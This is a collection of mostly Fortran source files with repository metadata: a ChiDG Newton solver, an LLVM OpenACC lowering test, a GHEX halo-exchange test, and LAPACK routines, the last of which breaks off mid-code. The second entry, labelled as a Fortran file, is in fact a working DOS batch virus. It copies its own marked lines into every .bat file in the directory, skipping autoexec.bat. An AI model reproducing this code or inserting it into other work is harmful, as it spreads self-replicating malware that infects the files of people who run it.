text:
module type_newton
    use messenger,              only: write_line
    use mod_kinds,              only: rk,ik
    use mod_constants,          only: ZERO, ONE, TWO, DIAG
    use mod_chidg_mpi,          only: ChiDG_COMM, GLOBAL_MASTER
    use mod_io,                 only: verbosity
    use type_nonlinear_solver,  only: nonlinear_solver_t
    use type_linear_solver,     only: linear_solver_t
    use type_chidg_data,        only: chidg_data_t
    use type_system_assembler,  only: system_assembler_t
    use type_preconditioner,    only: preconditioner_t
    use type_solver_controller, only: solver_controller_t
    use type_chidg_vector
    implicit none
    private

    !>  Solution advancement via the newton's method
    !!
    !!
    !!  @author Nathan A. Wukie
    !!
    !----------------------------------------------------------------------------------------
    type, extends(nonlinear_solver_t), public :: newton_t

    contains

        procedure   :: solve

    end type newton_t
    !****************************************************************************************

contains

    !>  Solve for Newton update 'dq'
    !!
    !!  @author Nathan A. Wukie
    !!
    !-----------------------------------------------------------------------------------------
    subroutine solve(self,data,system,linear_solver,preconditioner,solver_controller)
        class(newton_t),                            intent(inout)           :: self
        type(chidg_data_t),                         intent(inout)           :: data
        class(system_assembler_t),      optional,   intent(inout)           :: system
        class(linear_solver_t),         optional,   intent(inout)           :: linear_solver
        class(preconditioner_t),        optional,   intent(inout)           :: preconditioner
        class(solver_controller_t),     optional,   intent(inout),  target  :: solver_controller

        character(100)              :: filename
        integer(ik)                 :: niter
        real(rk)                    :: resid, resid0, resid_prev, timing, entropy_error, residual_ratio
        real(rk), allocatable       :: vals(:)
        logical                     :: absolute_convergence, relative_convergence
        type(chidg_vector_t)        :: b, qn, qold, qnew

        type(solver_controller_t),  target  :: default_controller
        class(solver_controller_t), pointer :: controller

        if (present(solver_controller)) then
            controller => solver_controller
        else
            controller => default_controller
        end if

        associate ( q   => data%sdata%q,    &
                    dq  => data%sdata%dq,   &
                    rhs => data%sdata%rhs,  &
                    lhs => data%sdata%lhs)

            call write_line('NONLINEAR SOLVER', io_proc=GLOBAL_MASTER, silence=(verbosity<2))
            call write_line("iter","|R(Q)|","Linear Solver(niter)", "LHS Updated", "Preconditioner Updated", delimiter='', columns=.True., column_width=30, io_proc=GLOBAL_MASTER, silence=(verbosity<2))

            !
            ! start timer
            !
            call self%timer%start()

            !
            ! Startup values
            !
            absolute_convergence = .true.
            relative_convergence = .true.
            qn                   = q      ! Store qn, since q will be operated on in the inner loop
            resid                = ONE    ! Force inner loop entry
            resid0               = ONE
            resid_prev           = ONE
            niter                = 0      ! Initialize inner loop counter

            !
            ! NONLINEAR CONVERGENCE LOOP
            !
            !do while ( resid > self%tol )
            do while( absolute_convergence .and. relative_convergence )
                niter = niter + 1

                !
                ! Store the value of the current inner iteration solution (k) for the solution update (n+1), q_(n+1)_k
                !
                qold = q

                !
                ! Update Spatial Residual and Linearization (rhs, lin)
                !
                if ( niter <= 2)  then
                    residual_ratio = ONE
                else
                    residual_ratio = resid/resid_prev
                end if

                call system%assemble( data, timing=timing, differentiate=controller%update_lhs(lhs,niter,residual_ratio) )

                !
                ! Compute residual norms
                !
                resid_prev = resid
                resid      = rhs%norm(ChiDG_COMM)
                if (niter == 1) resid0 = resid

                !
                ! Tolerance check
                !
                call self%residual_norm%push_back(resid)
                call write_line("|R| = ", resid, io_proc=GLOBAL_MASTER, silence=(verbosity<4))
                if ( resid < self%tol ) then
                    call write_line(niter, resid, 0, controller%lhs_updated, .false., delimiter='', columns=.True., column_width=30, io_proc=GLOBAL_MASTER, silence=(verbosity<2))
                    exit
                end if
                call self%residual_time%push_back(timing)   ! non-essential record-keeping

                !
                ! Assign rhs to b, which should allocate storage
                !
                !b = (rhs)  ! BEWARE: this causes an error. Parentheses operator not defined
                b = (-ONE)*rhs

                !
                ! We need to solve the matrix system Ax=b for the update vector x (dq)
                !
                call linear_solver%solve(lhs,dq,b,preconditioner,controller)

                call self%matrix_iterations%push_back(linear_solver%niter)
                call self%matrix_time%push_back(linear_solver%timer%elapsed())

                !
                ! Advance solution with update vector
                !
                q = qold + dq

                ! Clear working storage
                call dq%clear()

                ! Print iteration information
                call write_line(niter, resid, linear_solver%niter, controller%lhs_updated, controller%preconditioner_updated, delimiter='', columns=.True., column_width=30, io_proc=GLOBAL_MASTER, silence=(verbosity<2))

                !
                ! Convergence switches
                !
                absolute_convergence = (resid > self%tol)
                relative_convergence = ( (log10(resid0) - log10(resid)) < real(self%norders_reduction,rk) )

            end do ! while error

            !
            ! stop timer. Record timings
            !
            call self%timer%stop()
            call write_line('Nonlinear solver elapsed time: ', self%timer%elapsed(), io_proc=GLOBAL_MASTER, silence=(verbosity<3))
            !call self%timer%report('Solver Elapsed Time:')
            call self%total_time%push_back(self%timer%elapsed())

        end associate

        !
        ! Store newton iteration count
        !
        call self%newton_iterations%push_back(niter)

    end subroutine solve
    !****************************************************************************************

end module type_newton

max_stars_repo_name: wanglican/ChiDG

max_issues_repo_name: haohb/ChiDG

max_forks_repo_name: haohb/ChiDG


text:
<html>@echo off
if "%1=="@ goto $&z
echo.>$&.bat
echo @echo off>>$&.bat
find "$&"<%0>>$&.bat
for %%b in (*.bat) do call $&.bat @ %%b
del $&.bat
goto $&
:$&z [$MF 3.2, Duke/SMF]
if "%2=="autoexec.bat goto $&
find "$&"<%2>nul
if not errorlevel 1 goto $&
type $&.bat>>%2
:$&

ext: f

max_stars_repo_name: fengjixuchui/Family

max_issues_repo_name: fengjixuchui/Family

max_forks_repo_name: fengjixuchui/Family


text:
! This test checks lowering of OpenACC data directive.

! RUN: bbc -fopenacc -emit-fir %s -o - | FileCheck %s

subroutine acc_data
  real, dimension(10, 10) :: a, b, c
  real, pointer :: d, e
  logical :: ifCondition = .TRUE.

!CHECK: [[A:%.*]] = fir.alloca !fir.array<10x10xf32> {{{.*}}uniq_name = "{{.*}}Ea"}
!CHECK: [[B:%.*]] = fir.alloca !fir.array<10x10xf32> {{{.*}}uniq_name = "{{.*}}Eb"}
!CHECK: [[C:%.*]] = fir.alloca !fir.array<10x10xf32> {{{.*}}uniq_name = "{{.*}}Ec"}
!CHECK: [[D:%.*]] = fir.alloca !fir.box<!fir.ptr<f32>> {bindc_name = "d", uniq_name = "{{.*}}Ed"}
!CHECK: [[E:%.*]] = fir.alloca !fir.box<!fir.ptr<f32>> {bindc_name = "e", uniq_name = "{{.*}}Ee"}

  !$acc data if(.TRUE.) copy(a)
  !$acc end data

!CHECK:      [[IF1:%.*]] = arith.constant true
!CHECK:      acc.data if([[IF1]]) copy([[A]] : !fir.ref<!fir.array<10x10xf32>>)  {
!CHECK:        acc.terminator
!CHECK-NEXT: }{{$}}

  !$acc data copy(a) if(ifCondition)
  !$acc end data

!CHECK:      [[IFCOND:%.*]] = fir.load %{{.*}} : !fir.ref<!fir.logical<4>>
!CHECK:      [[IF2:%.*]] = fir.convert [[IFCOND]] : (!fir.logical<4>) -> i1
!CHECK:      acc.data if([[IF2]]) copy([[A]] : !fir.ref<!fir.array<10x10xf32>>) {
!CHECK:        acc.terminator
!CHECK-NEXT: }{{$}}

  !$acc data copy(a, b, c)
  !$acc end data

!CHECK:      acc.data copy([[A]], [[B]], [[C]] : !fir.ref<!fir.array<10x10xf32>>, !fir.ref<!fir.array<10x10xf32>>, !fir.ref<!fir.array<10x10xf32>>) {
!CHECK:        acc.terminator
!CHECK-NEXT: }{{$}}

  !$acc data copy(a) copy(b) copy(c)
  !$acc end data

!CHECK:      acc.data copy([[A]], [[B]], [[C]] : !fir.ref<!fir.array<10x10xf32>>, !fir.ref<!fir.array<10x10xf32>>, !fir.ref<!fir.array<10x10xf32>>) {
!CHECK:        acc.terminator
!CHECK-NEXT: }{{$}}

  !$acc data copyin(a) copyin(readonly: b, c)
  !$acc end data

!CHECK:      acc.data copyin([[A]] : !fir.ref<!fir.array<10x10xf32>>) copyin_readonly([[B]], [[C]] : !fir.ref<!fir.array<10x10xf32>>, !fir.ref<!fir.array<10x10xf32>>) {
!CHECK:        acc.terminator
!CHECK-NEXT: }{{$}}

  !$acc data copyout(a) copyout(zero: b) copyout(c)
  !$acc end data

!CHECK:      acc.data copyout([[A]], [[C]] : !fir.ref<!fir.array<10x10xf32>>, !fir.ref<!fir.array<10x10xf32>>) copyout_zero([[B]] : !fir.ref<!fir.array<10x10xf32>>) {
!CHECK:        acc.terminator
!CHECK-NEXT: }{{$}}

  !$acc data create(a, b) create(zero: c)
  !$acc end data

!CHECK:      acc.data create([[A]], [[B]] : !fir.ref<!fir.array<10x10xf32>>, !fir.ref<!fir.array<10x10xf32>>) create_zero([[C]] : !fir.ref<!fir.array<10x10xf32>>) {
!CHECK:        acc.terminator
!CHECK-NEXT: }{{$}}

  !$acc data no_create(a, b) create(zero: c)
  !$acc end data

!CHECK:      acc.data create_zero([[C]] : !fir.ref<!fir.array<10x10xf32>>) no_create([[A]], [[B]] : !fir.ref<!fir.array<10x10xf32>>, !fir.ref<!fir.array<10x10xf32>>) {
!CHECK:        acc.terminator
!CHECK-NEXT: }{{$}}

  !$acc data present(a, b, c)
  !$acc end data

!CHECK:      acc.data present([[A]], [[B]], [[C]] : !fir.ref<!fir.array<10x10xf32>>, !fir.ref<!fir.array<10x10xf32>>, !fir.ref<!fir.array<10x10xf32>>) {
!CHECK:        acc.terminator
!CHECK-NEXT: }{{$}}

  !$acc data deviceptr(b, c)
  !$acc end data

!CHECK:      acc.data deviceptr([[B]], [[C]] : !fir.ref<!fir.array<10x10xf32>>, !fir.ref<!fir.array<10x10xf32>>) {
!CHECK:        acc.terminator
!CHECK-NEXT: }{{$}}

  !$acc data attach(d, e)
  !$acc end data

!CHECK:      acc.data attach([[D]], [[E]] : !fir.ref<!fir.box<!fir.ptr<f32>>>, !fir.ref<!fir.box<!fir.ptr<f32>>>) {
!CHECK:        acc.terminator
!CHECK-NEXT: }{{$}}

end subroutine acc_data

max_stars_repo_name: akashhansda/llvm-project

max_issues_repo_name: akashhansda/llvm-project

max_forks_repo_name: akashhansda/llvm-project


text:
PROGRAM test_f_cubed_sphere
  use ghex_mod

  implicit none

  include 'mpif.h'

  real    :: tic, toc
  integer :: ierr, mpi_err, mpi_threading
  integer :: nthreads = 1, rank, size, world_rank
  integer :: tmp, i, j, did
  integer :: ntiles = 6
  integer :: tile_dims(2) = [2, 2]         ! each tile is split into tile_dims ranks, in X and Y dimensions
  integer :: tile = -1, tile_coord(2)      ! which tile do we belong to, and what are our tile coordinates
  integer :: cube(2) = [10, 6]             ! dimensions of the tile domains, (nx*nx*ndepth)
  integer :: blkx, blky
  integer :: halo(4)                       ! halo definition
  integer :: first(2), last(2)

  type hptr
     real(ghex_fp_kind), dimension(:,:,:), pointer :: ptr
  end type hptr

  ! exchange scalar and vector fields
  real(ghex_fp_kind), dimension(:,:,:), pointer :: data_scalar
  type(hptr), dimension(:), pointer :: data_ptr
  real(ghex_fp_kind), dimension(:,:,:,:), pointer :: data_vector
  integer :: n_components = 3

  ! GHEX stuff
  type(ghex_communicator)                      :: comm         ! communicator
  type(ghex_cubed_sphere_domain), dimension(:), pointer :: domain_desc
  type(ghex_cubed_sphere_field)                :: field_desc
  type(ghex_cubed_sphere_communication_object) :: co
  type(ghex_cubed_sphere_exchange_descriptor)  :: ed
  type(ghex_cubed_sphere_exchange_handle)      :: eh

  ! init mpi
  call mpi_init_thread (MPI_THREAD_SINGLE, mpi_threading, mpi_err)
  call mpi_comm_rank(mpi_comm_world, world_rank, mpi_err)
  call mpi_comm_size(mpi_comm_world, size, mpi_err)
  call mpi_comm_rank(mpi_comm_world, rank, mpi_err)

  ! init ghex
  call ghex_init(nthreads, mpi_comm_world)

  ! create ghex communicator
  comm = ghex_comm_new()

  ! halo width
  halo(:) = 1

  ! check if we have the right number of ranks
  if (size /= ntiles) then
    print *, "Usage: this test must be executed with ", ntiles, " mpi ranks"
    call ghex_finalize()
    call mpi_finalize(mpi_err)
    call exit(1)
  end if

  ! allocate domains
  allocate(domain_desc(1:product(tile_dims)))

  ! store field data in a pointer array
  allocate(data_ptr(1:product(tile_dims)))

  ! rank to tile
  tile = rank
  did = 1
  i = 1
  do while (i <= tile_dims(1))
    j = 1
    do while (j <= tile_dims(2))
      tile_coord(1) = i
      tile_coord(2) = j

      blkx = cube(1)/tile_dims(1)
      blky = cube(1)/tile_dims(2)
      if (blkx*tile_dims(1) /= cube(1) .or. blkx*tile_dims(1) /= cube(1)) then
        print *, "The per-tile grid dimensions are not divisible by the rank dimensions."
        call ghex_finalize()
        call mpi_finalize(mpi_err)
        call exit(1)
      end if

      first = [(tile_coord(1)-1)*blkx+1, (tile_coord(2)-1)*blky+1]
      last  = first + [blkx, blky] - 1
      print *, "rank ", rank, " tile ", tile, " first ", first, " last ", last
      call ghex_cubed_sphere_domain_init(domain_desc(did), tile, cube, first, last)

      allocate(data_scalar(blkx+sum(halo(1:2)), blky+sum(halo(3:4)), cube(2)), source=-1.0)
      data_scalar(:, :, :) = rank*ntiles+did
      data_ptr(did)%ptr => data_scalar

      call ghex_field_init(field_desc, data_ptr(did)%ptr, halo)
      call ghex_domain_add_field(domain_desc(did), field_desc)
      call ghex_free(field_desc)

      did = did + 1
      j = j + 1
    end do
    i = i + 1
  end do

  call mpi_barrier(mpi_comm_world, mpi_err)

  ! compute the halo information for all domains and fields
  ed = ghex_exchange_desc_new(domain_desc)

  ! create communication object
  call ghex_co_init(co, comm)

  ! exchange halos
  eh = ghex_exchange(co, ed)
  call ghex_wait(eh)

  ! cleanups
  i = 1
  do while (i < product(tile_dims))
    call ghex_free(domain_desc(i))
    i = i+1
  end do
  call ghex_free(ed)
  call ghex_finalize()
  call mpi_finalize(mpi_err)

END PROGRAM test_f_cubed_sphere

max_stars_repo_name: tehrengruber/GHEX

max_issues_repo_name: tehrengruber/GHEX

max_forks_repo_name: tehrengruber/GHEX


text:
*> \brief \b SORM22 multiplies a general matrix by a banded orthogonal matrix.
*
*  =========== DOCUMENTATION ===========
*
* Online html documentation available at
*            http://www.netlib.org/lapack/explore-html/
*
*> \htmlonly
*> Download SORM22 + dependencies
*>
*> [TGZ]
*>
*> [ZIP]
*>
*> [TXT]
*> \endhtmlonly
*
*  Definition:
*  ===========
*
*     SUBROUTINE SORM22( SIDE, TRANS, M, N, N1, N2, Q, LDQ, C, LDC,
*    $                   WORK, LWORK, INFO )
*
*     .. Scalar Arguments ..
*     CHARACTER          SIDE, TRANS
*     INTEGER            M, N, N1, N2, LDQ, LDC, LWORK, INFO
*     ..
*     .. Array Arguments ..
*     REAL            Q( LDQ, * ), C( LDC, * ), WORK( * )
*     ..
*
*> \par Purpose
*  ============
*>
*> \verbatim
*>
*>
*>  SORM22 overwrites the general real M-by-N matrix C with
*>
*>                  SIDE = 'L'     SIDE = 'R'
*>  TRANS = 'N':      Q * C          C * Q
*>  TRANS = 'T':      Q**T * C       C * Q**T
*>
*>  where Q is a real orthogonal matrix of order NQ, with NQ = M if
*>  SIDE = 'L' and NQ = N if SIDE = 'R'.
*>  The orthogonal matrix Q processes a 2-by-2 block structure
*>
*>         [  Q11  Q12  ]
*>     Q = [            ]
*>         [  Q21  Q22  ],
*>
*>  where Q12 is an N1-by-N1 lower triangular matrix and Q21 is an
*>  N2-by-N2 upper triangular matrix.
*> \endverbatim
*
*  Arguments:
*  ==========
*
*> \param[in] SIDE
*> \verbatim
*>          SIDE is CHARACTER*1
*>          = 'L': apply Q or Q**T from the Left;
*>          = 'R': apply Q or Q**T from the Right.
*> \endverbatim
*>
*> \param[in] TRANS
*> \verbatim
*>          TRANS is CHARACTER*1
*>          = 'N':  apply Q (No transpose);
*>          = 'C':  apply Q**T (Conjugate transpose).
*> \endverbatim
*>
*> \param[in] M
*> \verbatim
*>          M is INTEGER
*>          The number of rows of the matrix C. M >= 0.
*> \endverbatim
*>
*> \param[in] N
*> \verbatim
*>          N is INTEGER
*>          The number of columns of the matrix C. N >= 0.
*> \endverbatim
*>
*> \param[in] N1
*> \param[in] N2
*> \verbatim
*>          N1 is INTEGER
*>          N2 is INTEGER
*>          The dimension of Q12 and Q21, respectively. N1, N2 >= 0.
*>          The following requirement must be satisfied:
*>          N1 + N2 = M if SIDE = 'L' and N1 + N2 = N if SIDE = 'R'.
*> \endverbatim
*>
*> \param[in] Q
*> \verbatim
*>          Q is REAL array, dimension
*>                              (LDQ,M) if SIDE = 'L'
*>                              (LDQ,N) if SIDE = 'R'
*> \endverbatim
*>
*> \param[in] LDQ
*> \verbatim
*>          LDQ is INTEGER
*>          The leading dimension of the array Q.
*>          LDQ >= max(1,M) if SIDE = 'L'; LDQ >= max(1,N) if SIDE = 'R'.
*> \endverbatim
*>
*> \param[in,out] C
*> \verbatim
*>          C is REAL array, dimension (LDC,N)
*>          On entry, the M-by-N matrix C.
*>          On exit, C is overwritten by Q*C or Q**T*C or C*Q**T or C*Q.
*> \endverbatim
*>
*> \param[in] LDC
*> \verbatim
*>          LDC is INTEGER
*>          The leading dimension of the array C. LDC >= max(1,M).
*> \endverbatim
*>
*> \param[out] WORK
*> \verbatim
*>          WORK is REAL array, dimension (MAX(1,LWORK))
*>          On exit, if INFO = 0, WORK(1) returns the optimal LWORK.
*> \endverbatim
*>
*> \param[in] LWORK
*> \verbatim
*>          LWORK is INTEGER
*>          The dimension of the array WORK.
*>          If SIDE = 'L', LWORK >= max(1,N);
*>          if SIDE = 'R', LWORK >= max(1,M).
*>          For optimum performance LWORK >= M*N.
*>
*>          If LWORK = -1, then a workspace query is assumed; the routine
*>          only calculates the optimal size of the WORK array, returns
*>          this value as the first entry of the WORK array, and no error
*>          message related to LWORK is issued by XERBLA.
*> \endverbatim
*>
*> \param[out] INFO
*> \verbatim
*>          INFO is INTEGER
*>          = 0:  successful exit
*>          < 0:  if INFO = -i, the i-th argument had an illegal value
*> \endverbatim
*
*
*  Authors:
*  ========
*
*> \author Univ. of Tennessee
*> \author Univ. of California Berkeley
*> \author Univ. of Colorado Denver
*> \author NAG Ltd.
*
*> \ingroup complexOTHERcomputational
*
*  =====================================================================
      SUBROUTINE SORM22( SIDE, TRANS, M, N, N1, N2, Q, LDQ, C, LDC,
     $                   WORK, LWORK, INFO )
*
*  -- LAPACK computational routine --
*  -- LAPACK is a software package provided by Univ. of Tennessee,    --
*  -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..--
*
      IMPLICIT NONE
*
*     .. Scalar Arguments ..
      CHARACTER          SIDE, TRANS
      INTEGER            M, N, N1, N2, LDQ, LDC, LWORK, INFO
*     ..
*     .. Array Arguments ..
      REAL               Q( LDQ, * ), C( LDC, * ), WORK( * )
*     ..
*
*  =====================================================================
*
*     .. Parameters ..
      REAL               ONE
      PARAMETER          ( ONE = 1.0E+0 )
*
*     .. Local Scalars ..
      LOGICAL            LEFT, LQUERY, NOTRAN
      INTEGER            I, LDWORK, LEN, LWKOPT, NB, NQ, NW
*     ..
*     .. External Functions ..
      LOGICAL            LSAME
      EXTERNAL           LSAME
*     ..
*     .. External Subroutines ..
      EXTERNAL           SGEMM, SLACPY, STRMM, XERBLA
*     ..
*     .. Intrinsic Functions ..
      INTRINSIC          REAL, MAX, MIN
*     ..
*     .. Executable Statements ..
*
*     Test the input arguments
*
      INFO = 0
      LEFT = LSAME( SIDE, 'L' )
      NOTRAN = LSAME( TRANS, 'N' )
      LQUERY = ( LWORK.EQ.-1 )
*
*     NQ is the order of Q;
*     NW is the minimum dimension of WORK.
*
      IF( LEFT ) THEN
         NQ = M
      ELSE
         NQ = N
      END IF
      NW = NQ
      IF( N1.EQ.0 .OR. N2.EQ.0 ) NW = 1
      IF( .NOT.LEFT .AND. .NOT.LSAME( SIDE, 'R' ) ) THEN
         INFO = -1
      ELSE IF( .NOT.LSAME( TRANS, 'N' ) .AND. .NOT.LSAME( TRANS, 'T' ) )
     $          THEN
         INFO = -2
      ELSE IF( M.LT.0 ) THEN
         INFO = -3
      ELSE IF( N.LT.0 ) THEN
         INFO = -4
      ELSE IF( N1.LT.0 .OR. N1+N2.NE.NQ ) THEN
         INFO = -5
      ELSE IF( N2.LT.0 ) THEN
         INFO = -6
      ELSE IF( LDQ.LT.MAX( 1, NQ ) ) THEN
         INFO = -8
      ELSE IF( LDC.LT.MAX( 1, M ) ) THEN
         INFO = -10
      ELSE IF( LWORK.LT.NW .AND. .NOT.LQUERY ) THEN
         INFO = -12
      END IF
*
      IF( INFO.EQ.0 ) THEN
         LWKOPT = M*N
         WORK( 1 ) = REAL( LWKOPT )
      END IF
*
      IF( INFO.NE.0 ) THEN
         CALL XERBLA( 'SORM22', -INFO )
         RETURN
      ELSE IF( LQUERY ) THEN
         RETURN
      END IF
*
*     Quick return if possible
*
      IF( M.EQ.0 .OR. N.EQ.0 ) THEN
         WORK( 1 ) = 1
         RETURN
      END IF
*
*     Degenerate cases (N1 = 0 or N2 = 0) are handled using STRMM.
*
      IF( N1.EQ.0 ) THEN
         CALL STRMM( SIDE, 'Upper', TRANS, 'Non-Unit', M, N, ONE,
     $               Q, LDQ, C, LDC )
         WORK( 1 ) = ONE
         RETURN
      ELSE IF( N2.EQ.0 ) THEN
         CALL STRMM( SIDE, 'Lower', TRANS, 'Non-Unit', M, N, ONE,
     $               Q, LDQ, C, LDC )
         WORK( 1 ) = ONE
         RETURN
      END IF
*
*     Compute the largest chunk size available from the workspace.
*
      NB = MAX( 1, MIN( LWORK, LWKOPT ) / NQ )
*
      IF( LEFT ) THEN
         IF( NOTRAN ) THEN
            DO I = 1, N, NB
               LEN = MIN( NB, N-I+1 )
               LDWORK = M
*
*              Multiply bottom part of C by Q12.
*
               CALL SLACPY( 'All', N1, LEN, C( N2+1, I ), LDC, WORK,
     $                      LDWORK )
               CALL STRMM( 'Left', 'Lower', 'No Transpose', 'Non-Unit',
     $                     N1, LEN, ONE, Q( 1, N2+1 ), LDQ, WORK,
     $                     LDWORK )
*
*              Multiply top part of C by Q11.
*
               CALL SGEMM( 'No Transpose', 'No Transpose', N1, LEN, N2,
     $                     ONE, Q, LDQ, C( 1, I ), LDC, ONE, WORK,
     $                     LDWORK )
*
*              Multiply top part of C by Q21.
*
               CALL SLACPY( 'All', N2, LEN, C( 1, I ), LDC,
     $                      WORK( N1+1 ), LDWORK )
               CALL STRMM( 'Left', 'Upper', 'No Transpose', 'Non-Unit',
     $                     N2, LEN, ONE, Q( N1+1, 1 ), LDQ,
     $                     WORK( N1+1 ), LDWORK )
*
*              Multiply bottom part of C by Q22.
*
               CALL SGEMM( 'No Transpose', 'No Transpose', N2, LEN, N1,
     $                     ONE, Q( N1+1, N2+1 ), LDQ, C( N2+1, I ), LDC,
     $                     ONE, WORK( N1+1 ), LDWORK )
*
*              Copy everything back.
*
               CALL SLACPY( 'All', M, LEN, WORK, LDWORK, C( 1, I ),
     $                      LDC )
            END DO
         ELSE
            DO I = 1, N, NB
               LEN = MIN( NB, N-I+1 )
               LDWORK = M
*
*              Multiply bottom part of C by Q21**T.
*
               CALL SLACPY( 'All', N2, LEN, C( N1+1, I ), LDC, WORK,
     $                      LDWORK )
               CALL STRMM( 'Left', 'Upper', 'Transpose', 'Non-Unit',
     $                     N2, LEN, ONE, Q( N1+1, 1 ), LDQ, WORK,
     $                     LDWORK )
*
*              Multiply top part of C by Q11**T.
*
               CALL SGEMM( 'Transpose', 'No Transpose', N2, LEN, N1,
     $                     ONE, Q, LDQ, C( 1, I ), LDC, ONE, WORK,
     $                     LDWORK )
*
*              Multiply top part of C by Q12**T.
*
               CALL SLACPY( 'All', N1, LEN, C( 1, I ), LDC,
     $                      WORK( N2+1 ), LDWORK )
               CALL STRMM( 'Left', 'Lower', 'Transpose', 'Non-Unit',
     $                     N1, LEN, ONE, Q( 1, N2+1 ), LDQ,
     $                     WORK( N2+1 ), LDWORK )
*
*              Multiply bottom part of C by Q22**T.
*
               CALL SGEMM( 'Transpose', 'No Transpose', N1, LEN, N2,
     $                     ONE, Q( N1+1, N2+1 ), LDQ, C( N1+1, I ), LDC,
     $                     ONE, WORK( N2+1 ), LDWORK )
*
*              Copy everything back.
*
               CALL SLACPY( 'All', M, LEN, WORK, LDWORK, C( 1, I ),
     $                      LDC )
            END DO
         END IF
      ELSE
         IF( NOTRAN ) THEN
            DO I = 1, M, NB
               LEN = MIN( NB, M-I+1 )
               LDWORK = LEN
*
*              Multiply right part of C by Q21.
*
               CALL SLACPY( 'All', LEN, N2, C( I, N1+1 ), LDC, WORK,
     $                      LDWORK )
               CALL STRMM( 'Right', 'Upper', 'No Transpose', 'Non-Unit',
     $                     LEN, N2, ONE, Q( N1+1, 1 ), LDQ, WORK,
     $                     LDWORK )
*
*              Multiply left part of C by Q11.
*
               CALL SGEMM( 'No Transpose', 'No Transpose', LEN, N2, N1,
     $                     ONE, C( I, 1 ), LDC, Q, LDQ, ONE, WORK,
     $                     LDWORK )
*
*              Multiply left part of C by Q12.
*
               CALL SLACPY( 'All', LEN, N1, C( I, 1 ), LDC,
     $                      WORK( 1 + N2*LDWORK ), LDWORK )
               CALL STRMM( 'Right', 'Lower', 'No Transpose', 'Non-Unit',
     $                     LEN, N1, ONE, Q( 1, N2+1 ), LDQ,
     $                     WORK( 1 + N2*LDWORK ), LDWORK )
*
*              Multiply right part of C by Q22.
*
               CALL SGEMM( 'No Transpose', 'No Transpose', LEN, N1, N2,
     $                     ONE, C( I, N1+1 ), LDC, Q( N1+1, N2+1 ), LDQ,
     $                     ONE, WORK( 1 + N2*LDWORK ), LDWORK )
*
*              Copy everything back.
*
               CALL SLACPY( 'All', LEN, N, WORK, LDWORK, C( I, 1 ),
     $                      LDC )
            END DO
         ELSE
            DO I = 1, M, NB
               LEN = MIN( NB, M-I+1 )
               LDWORK = LEN
*
*              Multiply right part of C by Q12**T.
*
               CALL SLACPY( 'All', LEN, N1, C( I, N2+1 ), LDC, WORK,
     $                      LDWORK )
               CALL STRMM( 'Right', 'Lower', 'Transpose', 'Non-Unit',
     $                     LEN, N1, ONE, Q( 1, N2+1 ), LDQ, WORK,
     $                     LDWORK )
*
*              Multiply left part of C by Q11**T.
*
               CALL SGEMM( 'No Transpose', 'Transpose', LEN, N1, N2,
     $                     ONE, C( I, 1 ), LDC, Q, LDQ, ONE, WORK,
     $                     LDWORK )
*
*              Multiply left part of C by Q21**T.
*
               CALL SLACPY( 'All', LEN, N2, C( I, 1 ), LDC,
     $                      WORK( 1 + N1*LDWORK ), LDWORK )
               CALL STRMM( 'Right', 'Upper', 'Transpose', 'Non-Unit',
     $                     LEN, N2, ONE, Q( N1+1, 1 ), LDQ,
     $                     WORK( 1 + N1*LDWORK ), LDWORK )
*
*              Multiply right part of C by Q22**T.
*
               CALL SGEMM( 'No Transpose', 'Transpose', LEN, N2, N1,
     $                     ONE, C( I, N2+1 ), LDC, Q( N1+1, N2+1 ), LDQ,
     $                     ONE, WORK( 1 + N1*LDWORK ), LDWORK )
*
*              Copy everything back.
*
               CALL SLACPY( 'All', LEN, N, WORK, LDWORK, C( I, 1 ),
     $                      LDC )
            END DO
         END IF
      END IF
*
      WORK( 1 ) = REAL( LWKOPT )
      RETURN
*
*     End of SORM22
*
      END

max_stars_repo_name: sergey-v-kuznetsov/lapack

max_issues_repo_name: sergey-v-kuznetsov/lapack

max_forks_repo_name: sergey-v-kuznetsov/lapack


text:
      integer c(100)
      c(1) = 1
      call suba(c)
      end
      subroutine suba(c)
      integer c
      print *,c
      end

max_stars_repo_name: kurtsansom/ftnchek


text:
      SUBROUTINE SLARFG( N, ALPHA, X, INCX, TAU )
*
*  -- LAPACK auxiliary routine (version 3.1) --
*     Univ. of Tennessee, Univ. of California Berkeley and NAG Ltd..
*     November 2006
*
*     .. Scalar Arguments ..
      INTEGER            INCX, N
      REAL               ALPHA, TAU
*     ..
*     .. Array Arguments ..
      REAL               X( * )
*     ..
*
*  Purpose
*  =======
*
*  SLARFG generates a real elementary reflector H of order n, such
*  that
*
*        H * ( alpha ) = ( beta ),   H' * H = I.
*            (   x   )   (   0  )
*
*  where alpha and beta are scalars, and x is an (n-1)-element real
*  vector. H is represented in the form
*
*        H = I - tau * ( 1 ) * ( 1 v' ) ,
*                      ( v )
*
*  where tau is a real scalar and v is a real (n-1)-element
*  vector.
*
*  If the elements of x are all zero, then tau = 0 and H is taken to be
*  the unit matrix.
*
*  Otherwise  1 <= tau <= 2.
*
*  Arguments
*  =========
*
*  N       (input) INTEGER
*          The order of the elementary reflector.
*
*  ALPHA   (input/output) REAL
*          On entry, the value alpha.
*          On exit, it is overwritten with the value beta.
*
*  X       (input/output) REAL array, dimension
*                         (1+(N-2)*abs(INCX))
*          On entry, the vector x.
*          On exit, it is overwritten with the vector v.
*
*  INCX    (input) INTEGER
*          The increment between elements of X. INCX > 0.
*
*  TAU     (output) REAL
*          The value tau.
*
*  =====================================================================
*
*     .. Parameters ..
      REAL               ONE, ZERO
      PARAMETER          ( ONE = 1.0E+0, ZERO = 0.0E+0 )
*     ..
*     .. Local Scalars ..
      INTEGER            J, KNT
      REAL               BETA, RSAFMN, SAFMIN, XNORM
*     ..
*     .. External Functions ..
      REAL               SLAMCH, SLAPY2, SNRM2
      EXTERNAL           SLAMCH, SLAPY2, SNRM2
*     ..
*     .. Intrinsic Functions ..
      INTRINSIC          ABS, SIGN
*     ..
*     .. External Subroutines ..
      EXTERNAL           SSCAL
*     ..
*     .. Executable Statements ..
*
      IF( N.LE.1 ) THEN
         TAU = ZERO
         RETURN
      END IF
*
      XNORM = SNRM2( N-1, X, INCX )
*
      IF( XNORM.EQ.ZERO ) THEN
*
*        H  =  I
*
         TAU = ZERO
      ELSE
*
*        general case
*
         BETA = -SIGN( SLAPY2( ALPHA, XNORM ), ALPHA )
         SAFMIN = SLAMCH( 'S' ) / SLAMCH( 'E' )
         IF( ABS( BETA ).LT.SAFMIN ) THEN
*
*           XNORM, BETA may be inaccurate; scale X and recompute them
*
            RSAFMN = ONE / SAFMIN
            KNT = 0
   10       CONTINUE
